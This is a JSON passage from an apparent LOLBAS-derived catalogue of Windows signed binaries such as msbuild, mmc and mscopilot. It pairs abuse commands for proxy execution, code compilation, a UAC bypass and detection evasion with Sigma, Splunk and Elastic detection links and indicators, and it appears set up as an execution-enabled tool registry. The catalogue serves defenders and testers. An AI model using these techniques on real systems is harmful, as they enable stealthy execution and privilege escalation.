          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Part of the NodeJS Visual Studio tools. Located at: C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\Extensions\\Microsoft\\NodeJsTools\\NodeJsTools\\Microsoft.NodejsTools.PressAnyKey.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\Extensions\\Microsoft\\NodeJsTools\\NodeJsTools\\Microsoft.NodejsTools.PressAnyKey.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_renamed_pressanykey.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_pressanykey_lolbin_execution.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch specified executable as a subprocess of Microsoft.NodejsTools.PressAnyKey.exe. (Spawn a new process via Microsoft.NodejsTools.PressAnyKey.exe.)",
        "command": "Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "microsoft-nodejstools-pressanykey",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-microsoft-nodejstools-pressanykey",
    "install": [
      {
        "method": "choco",
        "package_name": "microsoft-nodejstools-pressanykey",
        "commands": [
          "choco install microsoft-nodejstools-pressanykey"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "microsoft-nodejstools-pressanykey",
    "namespace": "windows:execution:microsoft-nodejstools-pressanykey",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1463526834918854661",
        "url": "https://twitter.com/mrd0x/status/1463526834918854661"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# microsoft-workflow-compiler\n\nmicrosoft-workflow-compiler is a Windows LOLBin. A utility included with .NET that is capable of compiling and executing C# or VB.net code. Located at: C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe.\n",
    "_source": "microsoft-workflow-compiler.md",
    "allowed-tools": [
      "microsoft-workflow-compiler"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Conor Richard",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "A utility included with .NET that is capable of compiling and executing C# or VB.net code. Located at: C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_workflow_compiler.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/suspicious_microsoft_workflow_compiler_usage.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_microsoft_workflow_compiler_rename.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "Microsoft.Workflow.Compiler.exe would not normally be run on workstations."
      },
      {
        "type": "ioc",
        "description": "The presence of csc.exe or vbc.exe as child processes of Microsoft.Workflow.Compiler.exe"
      },
      {
        "type": "ioc",
        "description": "Presence of \"<CompilerInput\" in a text file."
      }
    ],
    "examples": [
      {
        "description": "Compile and execute C# or VB.net code in a XOML file referenced in the first argument (any extension accepted). (Compile and run code)",
        "command": "Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}"
      },
      {
        "description": "Compile and execute C# or VB.net code in a XOML file referenced in the test.txt file. (Compile and run code)",
        "command": "Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}"
      },
      {
        "description": "Compile and execute C# or VB.net code in a XOML file referenced in the test.txt file. (Compile and run code)",
        "command": "Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}"
      }
    ],
    "execution": {
      "template": "microsoft-workflow-compiler",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-microsoft-workflow-compiler",
    "install": [
      {
        "method": "choco",
        "package_name": "microsoft-workflow-compiler",
        "commands": [
          "choco install microsoft-workflow-compiler"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "microsoft-workflow-compiler",
    "namespace": "windows:execution:microsoft-workflow-compiler",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1030445200475185154",
        "url": "https://twitter.com/mattifestation/status/1030445200475185154"
      },
      {
        "label": "arbitrary-unsigned-code-execution-vector-in-micros",
        "url": "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb"
      },
      {
        "label": "3e28d391adbd7fe3e0c722a107a25aba#file-workflowcomp",
        "url": "https://gist.github.com/mattifestation/3e28d391adbd7fe3e0c722a107a25aba#file-workflowcompilerdetectiontests-ps1"
      },
      {
        "label": "7ba8fc8f724600a9f525714c9cf767fd#file-createcompil",
        "url": "https://gist.github.com/mattifestation/7ba8fc8f724600a9f525714c9cf767fd#file-createcompilerinputxml-ps1"
      },
      {
        "label": "using-c-post-powershell-attacks",
        "url": "https://www.forcepoint.com/blog/security-labs/using-c-post-powershell-attacks"
      },
      {
        "label": "",
        "url": "https://www.fortynorthsecurity.com/microsoft-workflow-compiler-exe-veil-and-cobalt-strike/"
      },
      {
        "label": "undetectable-c-c-reverse-shells-fab4c0ec4f15",
        "url": "https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mmc\n\nmmc is a Windows LOLBin. Load snap-ins to locally and remotely manage Windows systems Located at: C:\\Windows\\System32\\mmc.exe; C:\\Windows\\SysWOW64\\mmc.exe.\n",
    "_source": "mmc.md",
    "allowed-tools": [
      "mmc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "@bohops",
    "capabilities": [
      "security.execution.command",
      "security.privilege-escalation.uac-bypass",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "privilege_escalation",
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Load snap-ins to locally and remotely manage Windows systems Located at: C:\\Windows\\System32\\mmc.exe; C:\\Windows\\SysWOW64\\mmc.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mmc_susp_child_process.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch a 'backgrounded' MMC process and invoke a COM payload (Configure a snap-in to load a COM custom class (CLSID) that has been added to the registry)",
        "command": "mmc.exe -Embedding {PATH_ABSOLUTE:.msc}"
      },
      {
        "description": "Load an arbitrary payload DLL by configuring COR Profiler registry settings and launching MMC to bypass UAC. (Modify HKCU\\Environment key in Registry with COR profiler values then launch MMC to load the payload DLL.)",
        "command": "mmc.exe gpedit.msc"
      },
      {
        "description": "Download and save an executable to disk (Download file from Internet)",
        "command": "mmc.exe -Embedding {PATH_ABSOLUTE:.msc}"
      }
    ],
    "execution": {
      "template": "mmc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "remote",
      "requires-root",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-mmc",
    "install": [
      {
        "method": "choco",
        "package_name": "mmc",
        "commands": [
          "choco install mmc"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.014"
    ],
    "name": "mmc",
    "namespace": "windows:execution:mmc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
      },
      {
        "label": "UAC-bypass-dotnet.html",
        "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html"
      },
      {
        "label": "watch?v=LFgZOTmhzeA",
        "url": "https://www.youtube.com/watch?v=LFgZOTmhzeA"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "execution",
      "defense-evasion",
      "privilege-escalation",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mpiexec\n\nmpiexec is a Windows LOLBin. Command-line tool for running Message Passing Interface (MPI) applications. Located at: C:\\Program Files\\Microsoft MPI\\Bin\\mpiexec.exe; C:\\Program Files (x86)\\Microsoft MPI\\Bin\\mpiexec.exe.\n",
    "_source": "mpiexec.md",
    "allowed-tools": [
      "mpiexec"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command-line tool for running Message Passing Interface (MPI) applications. Located at: C:\\Program Files\\Microsoft MPI\\Bin\\mpiexec.exe; C:\\Program Files (x86)\\Microsoft MPI\\Bin\\mpiexec.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Executes a command via MPI command-line tool. (Executes commands under a trusted, Microsoft signed binary.)",
        "command": "mpiexec.exe {CMD}"
      }
    ],
    "execution": {
      "template": "mpiexec",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-mpiexec",
    "install": [
      {
        "method": "choco",
        "package_name": "mpiexec",
        "commands": [
          "choco install mpiexec"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "mpiexec",
    "namespace": "windows:execution:mpiexec",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "mpiexec",
        "url": "https://learn.microsoft.com/en-us/powershell/high-performance-computing/mpiexec"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msbuild\n\nmsbuild is a Windows LOLBin. Used to compile and execute code Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Msbuild.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Msbuild.exe; C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Msbuild.exe.\n",
    "_source": "msbuild.md",
    "allowed-tools": [
      "msbuild"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used to compile and execute code Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Msbuild.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Msbuild.exe; C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Msbuild.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_msbuild_susp_parent_process.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_msbuild_spawn.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_msbuild_rename.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/msbuild_suspicious_spawned_by_script_process.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_msbuild_beacon_sequence.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_msbuild_making_network_connections.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/defense_evasion_execution_msbuild_started_by_script.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_execution_msbuild_started_renamed.toml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "Msbuild.exe should not normally be executed on workstations"
      }
    ],
    "examples": [
      {
        "description": "Build and execute a C# project stored in the target XML file. (Compile and run code)",
        "command": "msbuild.exe {PATH:.xml}"
      },
      {
        "description": "Build and execute a C# project stored in the target csproj file. (Compile and run code)",
        "command": "msbuild.exe {PATH:.csproj}"
      },
      {
        "description": "Executes generated Logger DLL file with TargetLogger export. (Execute DLL)",
        "command": "msbuild.exe /logger:TargetLogger,{PATH_ABSOLUTE:.dll};MyParameters,Foo"
      },
      {
        "description": "Execute JScript/VBScript code through XML/XSL Transformation. Requires Visual Studio MSBuild v14.0+. (Execute project file that contains XslTransformation tag parameters)",
        "command": "msbuild.exe {PATH:.proj}"
      },
      {
        "description": "By putting any valid msbuild.exe command-line options in an RSP file and calling it as above will interpret the options as if they were passed on the command line. (Bypass command-line based detections)",
        "command": "msbuild.exe @{PATH:.rsp}"
      }
    ],
    "execution": {
      "template": "msbuild",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-msbuild",
    "install": [
      {
        "method": "choco",
        "package_name": "msbuild",
        "commands": [
          "choco install msbuild"
        ]
      }
    ],
    "mitre_ids": [
      "T1127.001",
      "T1036"
    ],
    "name": "msbuild",
    "namespace": "windows:execution:msbuild",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "T1127.md",
        "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1127/T1127.md"
      },
      {
        "label": "MSBuildShell",
        "url": "https://github.com/Cn33liz/MSBuildShell"
      },
      {
        "label": "",
        "url": "https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/"
      },
      {
        "label": "4ffc43a281e87d108875f07614324191",
        "url": "https://gist.github.com/bohops/4ffc43a281e87d108875f07614324191"
      },
      {
        "label": "165",
        "url": "https://github.com/LOLBAS-Project/LOLBAS/issues/165"
      },
      {
        "label": "msbuild-response-files",
        "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-response-files"
      },
      {
        "label": "msbuild-loggers-and-logging-events",
        "url": "https://www.daveaglick.com/posts/msbuild-loggers-and-logging-events"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msconfig\n\nmsconfig is a Windows LOLBin. MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows Located at: C:\\Windows\\System32\\msconfig.exe.\n",
    "_source": "msconfig.md",
    "allowed-tools": [
      "msconfig"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows Located at: C:\\Windows\\System32\\msconfig.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml"
      },
      {
        "type": "ioc",
        "description": "mscfgtlc.xml changes in system32 folder"
      }
    ],
    "examples": [
      {
        "description": "Executes command embeded in crafted c:\\windows\\system32\\mscfgtlc.xml. (Code execution using Msconfig.exe)",
        "command": "Msconfig.exe -5"
      }
    ],
    "execution": {
      "template": "msconfig",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-msconfig",
    "install": [
      {
        "method": "choco",
        "package_name": "msconfig",
        "commands": [
          "choco install msconfig"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "msconfig",
    "namespace": "windows:execution:msconfig",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "991314564896690177",
        "url": "https://twitter.com/pabraeken/status/991314564896690177"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mscopilot\n\nmscopilot is a Windows LOLBin. Microsoft Copilot app Located at: C:\\Program Files (x86)\\Microsoft\\Copilot\\Application\\mscopilot.exe.\n",
    "_source": "mscopilot.md",
    "allowed-tools": [
      "mscopilot"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "4n4s4zi",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Copilot app Located at: C:\\Program Files (x86)\\Microsoft\\Copilot\\Application\\mscopilot.exe.",
    "detections": [],
    "examples": [
      {
        "description": "`mscopilot.exe` will spawn the provided command. Parent `mscopilot.exe` process needs to be killed to avoid command being executed an infinite number of times. (Executes a process under a trusted Microsoft signed binary)",
        "command": "mscopilot.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher=\"{CMD} && taskkill /f /im mscopilot.exe &&\""
      }
    ],
    "execution": {
      "template": "mscopilot",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-mscopilot",
    "install": [
      {
        "method": "choco",
        "package_name": "mscopilot",
        "commands": [
          "choco install mscopilot"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.015"
    ],
    "name": "mscopilot",
    "namespace": "windows:execution:mscopilot",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "tour-de-mscopilot",
        "url": "https://github.com/4n4s4zi/tour-de-mscopilot"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mscopilot-proxy\n\nmscopilot-proxy is a Windows LOLBin. Microsoft Copilot proxy launcher Located at: C:\\Program Files (x86)\\Microsoft\\Copilot\\Application\\mscopilot_proxy.exe.\n",
    "_source": "mscopilot-proxy.md",
    "allowed-tools": [
      "mscopilot-proxy"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "4n4s4zi",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Copilot proxy launcher Located at: C:\\Program Files (x86)\\Microsoft\\Copilot\\Application\\mscopilot_proxy.exe.",
    "detections": [],
    "examples": [
      {
        "description": "`mscopilot_proxy.exe` will spawn the provided command. Parent `mscopilot_proxy.exe` process needs to be killed to avoid command being executed an infinite number of times. (Executes a process under a trusted Microsoft signed binary)",
        "command": "mscopilot_proxy.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher=\"cmd.exe /c calc.exe && taskkill /f /im mscopilot.exe &&\""
      }
    ],
    "execution": {
      "template": "mscopilot-proxy",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-mscopilot-proxy",
    "install": [
      {
        "method": "choco",
        "package_name": "mscopilot-proxy",
        "commands": [
          "choco install mscopilot-proxy"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.015"
    ],
    "name": "mscopilot-proxy",
    "namespace": "windows:execution:mscopilot-proxy",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "tour-de-mscopilot",
        "url": "https://github.com/4n4s4zi/tour-de-mscopilot"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msdeploy\n\nmsdeploy is a Windows LOLBin. Microsoft tool used to deploy Web Applications. Located at: C:\\Program Files\\IIS\\Microsoft Web Deploy V2\\msdeploy.exe; C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V2\\msdeploy.exe; C:\\Program Files\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe.\n",
    "_source": "msdeploy.md",
    "allowed-tools": [
      "msdeploy"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass",
      "system.file.copy"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft tool used to deploy Web Applications. Located at: C:\\Program Files\\IIS\\Microsoft Web Deploy V2\\msdeploy.exe; C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V2\\msdeploy.exe; C:\\Program Files\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_msdeploy.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch .bat file via msdeploy.exe. (Local execution of batch file using msdeploy.exe.)",
        "command": "msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand=\"{PATH_ABSOLUTE:.bat}\""
      },
      {
        "description": "Launch .bat file via msdeploy.exe. (Local execution of batch file using msdeploy.exe.)",
        "command": "msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand=\"{PATH_ABSOLUTE:.bat}\""
      },
      {
        "description": "Copy file from source to destination. (Copy file.)",
        "command": "msdeploy.exe -verb:sync -source:filePath={PATH_ABSOLUTE:.source.ext} -dest:filePath={PATH_ABSOLUTE:.dest.ext}"
      }
    ],
    "execution": {
      "template": "msdeploy",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-msdeploy",
    "install": [
      {
        "method": "choco",
        "package_name": "msdeploy",
        "commands": [
          "choco install msdeploy"
        ]
      }
    ],
    "mitre_ids": [
      "T1218",
      "T1105"
    ],
    "name": "msdeploy",
    "namespace": "windows:execution:msdeploy",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "995837734379032576",
        "url": "https://twitter.com/pabraeken/status/995837734379032576"
      },
      {
        "label": "999090532839313408",
        "url": "https://twitter.com/pabraeken/status/999090532839313408"
      }
